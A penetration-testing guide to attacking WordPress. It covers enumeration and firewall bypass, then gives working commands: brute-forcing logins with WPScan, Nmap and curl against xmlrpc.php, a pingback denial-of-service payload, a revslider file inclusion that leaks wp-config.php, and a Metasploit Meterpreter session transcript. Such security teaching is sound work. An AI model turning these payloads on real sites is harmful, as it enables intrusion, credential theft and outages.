Penetration testers or red teams wishing to exploit WordPress targets will also find helpful pointers in this guide.
Introduction to WordPress Security
WordPress is the application behind more than 30% of all websites. Its ease of use and open source base are what make it such a popular solution. The number of installs continues to grow; there are now an estimated 75 million WordPress sites. This popularity makes it a target for bad guys aiming to use a compromised web server for malicious purposes.
By providing details of attack techniques we aim to raise awareness about the need for good maintenance and security monitoring of WordPress.
There are very good guides on securing a WordPress installation available. This article does not intend to repeat those. To get started securing a WordPress install, try the excellent guide on wordpress.org or this comprehensive guide on the OWASP site.
Keep in mind, in a managed WordPress hosting service, some of these attacks (and mitigations) will be the responsibility of the hosting provider. If you are self hosting, then security and maintenance are your responsibility. Ready to start? Let's grab our hoodie and start hacking.
Put yourself in the Attackers' mindset. The first thing we want to do is discover as much technical information regarding the site configuration as we can. This will help us when we move onto the actual attacking or exploitation phase.
Enumeration or reconnaissance can be conducted stealthily using regular web requests to gather technical information about the site. Or it can be performed more aggressively by brute forcing web paths to detect the presence of plugins and themes. To begin with, we want to get an idea of how well maintained the site is. Determining whether the site is running the latest WordPress core version is a good start.
- WordPress Core Version
- WordPress Plugin (and version) Enumeration
- Passive analysis can be used to find plugins through regular HTTP requests to the WordPress site.
- Active enumeration is more aggressive and usually involves using a script or tool to perform hundreds or even thousands of mostly invalid HTTP requests.
- WordPress Theme Enumeration
- Enumerate Users
- Directory Indexing
- Server Vulnerability Testing
- MySQL Server Remotely Accessible (port 3306)
- CPANEL administration login portal (port 2082 / 2083)
- Webmin administration (port 10000)
- FTP service for filesystem access
- SSH for remote control
- Other web services with admin or other sites (port 8080 / 8888 etc)
- Bypass Sucuri or CloudFlare Web Firewall
- Historical DNS records may show the original IP address before the firewall service was implemented.
- Mail Records (MX), if mail is hosted on the same server as the website then this will reveal the real host
- TXT SPF, records might also reveal IP addresses of interest
- Nmap NSE Scripts for WordPress
- Brute Force wp-login.php Form
- Brute Force Login via xmlrpc.php
- Denial of Service (DOS) via xmlrpc.php
- Exploit WordPress Plugin
- Exploit WordPress Theme Example
- Exploiting WordPress Core
- Sniff and Capture Credentials over non-secure login
- Vulnerable Server Software
- Compromise Systems Administration Tools
- SSH Service
- MySQL database service
- Webmin Server Management
- CPanel or WHCMS Web Hosting Control Panels
- phpMyAdmin database management application
- Use strong passwords everywhere, do not re-use them!
- Move SSH to a different port
- Use TLS/SSL for web based management services to prevent sniffing and credential compromise
- White list IP addresses that are able to connect to Internet facing services
- Content Discovery
Three simple methods can be used to determine the core version of WordPress.
Check the HTML source of the page for a
meta generator tag in the HEAD section of the HTML source.
This example is taken from the source of a default WP install of version 3.5.2 and twenty twelve theme. From the source HTML:
<meta name="generator" content="WordPress 3.5.2" />
Version in readme.html
If the meta tag has been disabled, check for the presence of
/readme.html from root of the install. Early versions of WordPress had the version right there at the top of the ReadMe file, newer versions of WordPress have removed the version from the file.
Version in HTML source of site
In the HTML source, the version is often appended as a parameter on links to
css resources that the page is loading.
Depending on the plugin, this will not always be the case, and sites that have minified js and css may not have these information leaks present.
Security Vulnerabilities in WordPress Core
An attacker finds a site with an older WordPress Core version, and as a result, this may be directly exploitable via a security vulnerability in the WordPress core. And, it is a clear indication the site is not being well maintained.
During WordPress Plugin Enumeration we attempt to find as many installed plugins as we can (even those that are disabled). Knowing the installed WordPress plugins may allow us to identify the version, and research whether it is vulnerable to known exploits.
Reading through the HTML source of the WordPress site can reveal installed plugins through
CSS that are loaded into the page. These are the easiest plugins to discover and require no aggressive testing of the target site. Even the HTTP headers can reveal information, such as the
X-Powered-By header that reveals the presence of the W3-Total-Cache plugin.
Some plugins do not leave traces in the HTML source. To find all the installed plugins you have to be more aggressive. A number of tools can brute force known plugin lists from the path
/wp-content/plugins/ * plugin to test * /. The web server response will usually reveal valid directories (often with HTTP 403) as opposed to unknown directories on the web server with its HTTP response code.
Once you have a list of plugins that are present on the site, your WordPress scanner or manual requests can be used to determine the version of the plugin.
As with plugins, WordPress themes can contain vulnerabilities that might expose the site to compromise. Themes are collections of PHP code with HTML and CSS resources. More complex themes have more included components and are more likely to introduce security vulnerabilities.
Enumeration of the theme is conducted similarly to detecting the plugins. The theme path is often visible in the HTML of the page source. The CSS file getting loaded from the theme will often reveal the path.
With the path we have the theme name, and we can load the
readme.txt to confirm the theme in use and the version.
An important consideration when testing for vulnerable WordPress Themes (and plugins) is a theme that is installed yet not active may still have code that is accessible and vulnerable. This is why brute force testing for theme paths is an important step when assessing an unknown WordPress installation.
If we can gather valid usernames, then we can attempt password guessing attacks to brute force the login credentials of the site. Getting access to an administrator account on a WordPress installation provides the attacker with a full compromise of the site, database and very often remote code execution on the server through PHP code execution.
These user enumeration techniques have been reported to WordPress.org as security vulnerabilities, however, the developers do not classify the user name as sensitive and are willing to accept the risk over the increased usability. Such as advising the users when the user is wrong vs the password being wrong.
In a default installation you should be able to find the users of a site by iterating through the user id's and appending them to the sites URL. For example
/?author=1, adding 2 then 3 etc to the URL will reveal the users login id either through a 301 redirect with a Location HTTP Header
This post has a method for cycling through the WordPress users using a
bash one liner.
Enumerate Users through Guessing
Brute forcing the user name is possible using the login form as the response is different for a valid vs an invalid account.
This can be performed manually to check a single user or using an automated tool such as Burp Intruder to cycle through thousands of possible usernames.
Users listed in JSON API Endpoint
json endpoint it may be possible to get a list of users on the site. This was restricted in version 4.7.1 to only show a user if configured, before that all users who had published a post were shown by default.
Viewing the contents of a directory allows an attacker to gather a lot of information about the installation such as installed plugins and themes without the need to brute force the paths.
To check for directory indexing you can browse to folder locations and see if you get a response that includes "Index Of" and a list of folders / files. Common locations to check would be:
/wp-content/ /wp-content/plugins/ /wp-content/themes/ /uploads/ /images/
In this phase, we move into testing network services rather than direct testing of the WordPress installation. Port scanning is the standard technique for the discovery of network services running on the server.
Services that might be present on a WordPress host:
Any of the services may allow access or control of the server through either a security vulnerability or a compromised password. Port scanning can be conducted using the excellent Nmap Port Scanner or an alternative security tool.
Carrying on from our enumeration of network services using the port scanner, we could run vulnerability scans against the discovered services to identify exploitable services or other items of interest.
OpenVAS Vulnerability Scanner
The Greenbone Vulnerability Manager (GVM) (previously known as OpenVAS) is one option, this is an open source vulnerability scanner that can be installed locally or enterprise appliances are also available from Greenbone Networks. We also host the open source OpenVAS scanner for testing internet accessible targets as part of our security testing platform.
Nikto Vulnerability Scanner
Nikto is another vulnerability scanner that focuses on the discovery of known vulnerable scripts, configuration mistakes and other web server items of interest. The Nikto tool has been around for many years yet still has a place in the penetration testers toolbox.
Tools such as this throw tens of thousands of tests against target in an attempt to discover known vulnerabilities and other low hanging fruit. It is a noisy process filling the target system logs with 404's and other errors. Not recommended if you are going after a target ninja style (pentest / red team).
Many WordPress sites opt for third-party services to help protect the site from attacks by using a web-based firewall proxy. A service such as Sucuri or CloudFlare sits between the users' browser and the WordPress site. Attacks launched at the site can be detected and blocked by the firewall.
The firewall proxies the traffic by using DNS. The sites DNS is pointed at servers belonging to Sucuri or CloudFlare so the user (or attacker) will resolve the hostname and connect to the IP of the Firewall system.
If we determine the real IP address of the server and add an entry to our hosts' file, we can bypass the firewall and go directly to the webserver hosting the site. This is significant if the site is not well maintained and relying on the protection of the firewall. For example, a vulnerable plugin may be present but being blocked by the firewall. We bypass the firewall, exploit the vulnerable plugin and the server.
Checking DNS Records
Using DNS records is the most effective way of identifying the real IP address for bypassing a site hosted behind Sucuri or CloudFlare.
TLS / SSL Certificate Searches
Historical TLS / SSL searches may also find real hostnames associated with the sites actual IP address if they can matched.
Other reconnaissance techniques may reveal host names and IP addresses of interest.
Once you have an IP address that you suspect could be the IP address, add it to your
/etc/hosts file with the sites hostname. This will force your system to bypass DNS and go directly the IP address. If the site loads, there is a good chance this is the correct IP address.
WPScan is a popular WordPress security testing tool that ties many of these simple enumeration techniques together. Enabling users to quickly enumerate a WordPress installation, it has a commercial license restricting use for testing your own WordPress sites and non-commercial usage.
It attempts to identify users, plugins, and themes, depending on the selected command line options, and also show vulnerabilities for each of the discovered plugins.
Nmap comes bundled with NSE scripts that extend the functionality of this popular port scanner. A few of the Nmap NSE scripts are particularly helpful for enumerating WordPress users, plugins, and themes using the same techniques we have previously discussed.
The best thing about this option is, if you have Nmap installed you already have these scripts ready to go.
Example Plugin and Theme Enumeration
PORT STATE SERVICE 80/tcp open http | http-wordpress-enum: | Search limited to top 100 themes/plugins | plugins | akismet | contact-form-7 4.1 (latest version:4.1) | all-in-one-seo-pack (latest version:184.108.40.206) | google-sitemap-generator 220.127.116.11 (latest version:4.0.8) | jetpack 3.3 (latest version:3.3) | wordfence 5.3.6 (latest version:5.3.6) | better-wp-security 4.6.4 (latest version:4.6.6) | google-analytics-for-wordpress 5.3 (latest version:5.3) | themes | twentytwelve |_ twentyfourteen
Another tool for enumeration of WordPress installations is CMSMap.
CMSMap tests WordPress as well as Joomla, Drupal, and Moodle.
As with any of these enumeration tools, it is crucial to keep it up to date. If the themes and plugins lists are not updated regularly, keep in mind that the latest components may not be detected.
Attacking & Exploitation
The most common attack against the WordPress user is brute forcing the password of an account to gain access to the back-end of the WordPress system. Other ways a password can be compromised include sniffing the password in clear text over a HTTP login session or even getting the credentials from a key logger on the workstation of the WordPress administrator.
Accounts with administrator level access are the most sought after due to the amount of mischief an admin user can get up to; adding
PHP command shells or malicious
With the usernames we collected during information gathering, we can get started (or just try
admin). Take a look at the login form
/wp-login.php, notice how failed logins confirm the username when an incorrect password is entered. This information is helpful to an attacker. It also makes things more user friendly for the end user who has forgotten their username and password. This "feature" has been debated, and it was decided to keep this response within the WordPress code.
3 Tools for Popping Weak Passwords
Brute forcing accounts of users is possible using a number of open source tools. Additionally, there is worm like scripts available that have spread through the WordPress ecosystem. These search for and spread to WordPress sites with weak admin passwords.
The previously mentioned WPScan tool, in addition to enumeration, can also perform brute force login attacks.
Here is an example output from a test I ran with WPScan against a low end Digital Ocean VPS ($5 / month) where I had installed a default installation of WordPress.
ruby wpscan.rb -u 192.241.xx.x68 --threads 20 --wordlist 500worst.txt --username testadmin ********* SNIP ****************** [+] Starting the password brute forcer Brute forcing user 'testadmin' with 500 passwords... 100% complete. [+] Finished at Thu Jul 18 03:39:02 2013 [+] Elapsed time: 00:01:16
Reviewing the Output
500 passwords tested against the 'testadmin' account (discovered during user enumeration). Those 500 passwords were tested in 1 minute and 16 seconds! As the test was running, there was zero disruption to the site. A web server administrator would have no idea the attack took place without a security log monitoring system in place, (OSSEC does this very well).
The '500 worst' password list used above is from Skull Security. The site has a large number of password lists including the well known
rockyou list (60MB) that contains many more than 500 passwords!
Nmap NSE Script
Nmap, the port scanner, can do much more than find open ports. Recent versions of Nmap come bundled with NSE scripts. As a result, it can be used to test many different vulnerabilities. For example, enumerating users and brute forcing WordPress passwords.
nmap -sV --script http-wordpress-enum --script-args limit=25
PORT STATE SERVICE REASON 80/tcp open http syn-ack | http-wordpress-enum: | Username found: admin | Username found: testadmin | Username found: fred | Username found: alice | Username found: bob |_Search stopped at ID #25. Increase the upper limit if necessary with 'http-wordpress-enum.limit'
Output above shows an example run using the http-wordpress-enum NSE script to enumerate WordPress users.
PORT STATE SERVICE REASON 80/tcp open http syn-ack | http-wordpress-brute: | Accounts | testadmin:myS3curePass => Login correct | Statistics |_ Perfomed 113 guesses in 19 seconds, average tps: 6
Above are the results from brute forcing WordPress accounts using the http-wordpress-brute NSE script.
For those familiar with web application security testing, the Burp Suite Intruder tool can also be used for brute-forcing WordPress passwords. A WordPress login attempt is only a HTTP POST request after all.
xmlrpc.php capability is an API endpoint. This endpoint allows mobile apps, and other programmable access, to backend functions of the WordPress site, such as publishing posts. It is enabled by default. Several attacks are possible against the endpoint depending on permissions and the version of the target WordPress installation.
xmlrpc.php endpoint to attack WordPress accounts, we may bypass security plugins that protect the login form from abuse. This password guessing attack may also be faster, with the result being you can attempt more passwords.
curl, this is the data sent as part of the POST request. You could also use Burp or your favorite scripting language for this request.
curl -X POST -d "<methodCall><methodName>wp.getUsersBlogs</methodName><params> <param><value>admin</value></param><param><value>pass</value></param></params></methodCall>" http://examplewp.com/xmlrpc.php
In the response we will see an invalid password response or success. It is easy to spot and work into your script.
Another use of the
xmlrpc.php endpoint is to perform a denial of service attack. If this capability is enabled, we can send a small request to the server and get it to respond with a full page of content to a target of our choosing. The idea is to make multiple requests from different systems and get them all to target a single host. Potentially knocking it offline due to network congestion.
First, we enumerate the capabilities of the
curl -X POST -d "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>" http://examplewp.com/xmlrpc.php
The response will be a list of available methods.
<?xml version="1.0" encoding="UTF-8"?> <methodResponse> <params> <param> <value> <array><data> <value><string>system.listMethods</string></value> <value><string>system.getCapabilities</string></value> <value><string>pingback.extensions.getPingbacks</string></value> <value><string>pingback.ping</string></value> <value><string>mt.publishPost</string></value> **** truncated ****
Note the pingback.ping indicating pingback is enabled. Use the following data for the pingback attempt.
<methodCall> <methodName>pingback.ping</methodName> <params><param> <value><string>http://**denial-of-service-target**:**portno**</string></value> </param><param><value><string>http://**blog-url-from-wp**</string> </value></param></params> </methodCall>
Disabling access to
xmlrpc.php from your web server or using
.htaccess is recommended if you are not using the API. Not only will it block any attacks, but it will also reduce the amount of noise in your logs from the bots attempting to hit these API endpoints.
Plugins, Themes, and WordPress Core all contain a large amount of PHP code from developers around the world. These developers have differing abilities and focus when it comes to writing secure software. For this reason, there are thousands of exploitable vulnerabilities available to an attacker. Updating plugins, the WordPress core, and themes must be a routine task for any WordPress administrator to ensure the known vulnerabilities are patched.
Common vulnerabilities include XSS, SQL injection, file upload, and code execution. All of these can have devastating consequences to a WordPress site. Search through Metasploit and exploit-db.com for exploitable WordPress bugs.
Revslider Example Exploit
An example of a WordPress plugin exploit is from a vulnerability discovered 5 years ago. The vulnerable revslider plugin resulted in tens of thousands of compromised WordPress sites. To this day, there are attempts to exploit it in our web server logs, even in 2019. One reason it was such a popular plugin is that it was bundled with many themes.
A number of exploitation opportunities are possible, but this is perhaps the easiest to demonstrate. Exploitation is as difficult as loading this URL in a browser.
The HTTP request would download the
wp-config.php file from the vulnerable site if it had the exploitable version of
revslider installed. The exploit type is known as a local file include, as the attacker is tricking the application code into including a sensitive file in the output. The
wp-config.php is not normally accessible and contains the database credentials for the WordPress database user.
With the database password, an attacker could attempt to login as the WordPress admin using the same password (if passwords were re-used). A more common attack vector would be to login to the
phpmyadmin script if installed, as this uses the database credentials. If MySQL is exposed, it may even possible to directly connect to the database using a
MySQL database client and the leaked credentials.
Access to the database provides the attacker options to reset the administrator password, attempt to crack the admin hash, modify content in the database, adding malicious js or iframes. There are many possibilities for further exploitation once the credentials in
wp-config.php are leaked.
Exploits are available from various places and forums. This example uses an exploit from the popular Metasploit Exploitation Framework. The vulnerable theme is the very popular optimizepress. The vulnerability was released back in 2013 and versions after 1.45 are not vulnerable to this exploit.
Using standard Metasploit commands, we can load the module, configure the options, select a payload and exploit. The result is shell access on the server with only a few minutes of work.
In this example, the vulnerability type is a file upload vulnerability in
media-upload.php of the theme. By exploiting the vulnerability we can upload a
PHP shell or other code, giving us code execution.
A key point to remember here is - identification of the plugins and themes is the first step in a targeted attack exploiting a WordPress site.
Numerous bots and automated attack scripts that exploit WordPress sites do not perform the enumeration phase. They propel exploits at thousands of sites and hope for a successful payload.
Plugins and themes not enabled can be exploited. Scanning for default locations of those vulnerable files is a highly common attack by automated bots..
Vulnerabilities in WordPress core crop up from time to time. While remote unauthenticated vulnerabilities are relatively rare, any attacker would do well to be familiar with the more exploitable vulnerabilities in WordPress Core.
The list of vulnerabilities on cvedetails.com is a good indication and shows the severity of the discovered vulnerabilities has been much lower when compared to the state of things 5 years ago.
Example Exploiting CVE-2019-8942 & CVE-2019-8943
Using Metasploit, this example will demonstrate exploiting vulnerabilities present in WordPress versions <= 4.9.8 and WordPress 5.0.0. Using this exploit, we gain arbitrary code execution via a core vulnerability combining a Path Traversal and a Local File Inclusion. If the attacker has access to an account with at least author privileges, code execution is likely possible.
Detailed below is the standard Metasploit exploitation process using the
wp_crop_rce module. The PHP Meterpreter is a remote agent giving the attacker the ability to run commands and upload / download files on the target system.
msf5 > use exploit/unix/webapp/wp_crop_rce msf5 exploit(unix/webapp/wp_crop_rce) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 msf5 exploit(unix/webapp/wp_crop_rce) > set username author username => author msf5 exploit(unix/webapp/wp_crop_rce) > set password author password => author msf5 exploit(unix/webapp/wp_crop_rce) > run [*] Started reverse TCP handler on 127.0.0.1:4444 [*] Authenticating with WordPress using author:author... [+] Authenticated with WordPress [*] Preparing payload... [*] Checking crop library [*] Uploading payload [+] Image uploaded [*] Uploading payload [+] Image uploaded [*] Including into theme [*] Sending stage (38247 bytes) to 127.0.0.1 [*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:36568) at 2019-03-19 11:33:27 -0400 meterpreter > sysinfo Computer : ubuntu OS : Linux ubuntu 4.15.0-46-generic #49-Ubuntu SMP Wed Feb 6 09:33:07 UTC 2019 x86_64 Meterpreter : php/linux
Unauthenticated Content Injection in WordPress 4.7.0 and 4.7.1
In this vulnerability from 2017 an attacker is able to inject content into a post using the
WordPress 4.7/4.7.1 - Remote unauthenticated content injection
Without additional security measures in place (
TLS/SSL), accessing the
/wp-admin/ dashboard is over an unencrypted connection. This means if you log in to your WordPress site on an unsecured network, such as the wireless at your local coffee shop or airport, your login and password to manage the site could be captured by an attacker watching your session.
In this example Wireshark capture, we clearly see the username and password captured in our POST request to
Testing the WordPress application itself is only one part of ensuring your web site is secure. The server that hosts the website must also be kept secure.
Exploitable security vulnerabilities can, of course, be present in server software or the operating system. Examples can be found on any vulnerability mailing list. Recently a remote code execution vulnerability was found in Exim. Exim is one of the most popular mail delivery servers on the Internet. PHPMyAdmin is a popular application to attack due to its popularity and a long list of vulnerabilities.
Server Software Misconfiguration
Even if no exploitable vulnerability is present, a simple misconfiguration can leave a service vulnerable. Often security vulnerabilities are introduced simply through a misconfiguration by an overworked system administrator.
A successful password guessing attack against a server management account will give an attacker full access to the server and the WordPress application.
Services that can be attacked with brute force password guessing include:
Reduce the chance of management account compromise:
Content Discovery is the process of attempting to find items of interest in a web path. It applies to any web application, but since we are attacking WordPress, target it towards typical files and paths of interest in a WordPress installation.
curl https://testwordsite.com/wp-config.php.bak curl https://testwordpressite.com/.wp-config.php.swp
These two examples use curl to find a possible backup file of the wp-config.php file that we discussed earlier. It contains sensitive information, including database credentials. The second attempt tries to download the backup file that
vim automatically creates when it is editing a file. A good reason not to edit files directly on your production sites!
curl to perform this search task for hundreds or even thousands of common files could be accomplished with a little bit of scripting. On the other hand, more appropriate tools such as Burp Suite, or gobuster, a tool that is very fast due to its parallel processing, will do a much better job.
Enumerate & Discover
Test WordPress, Servers & Networks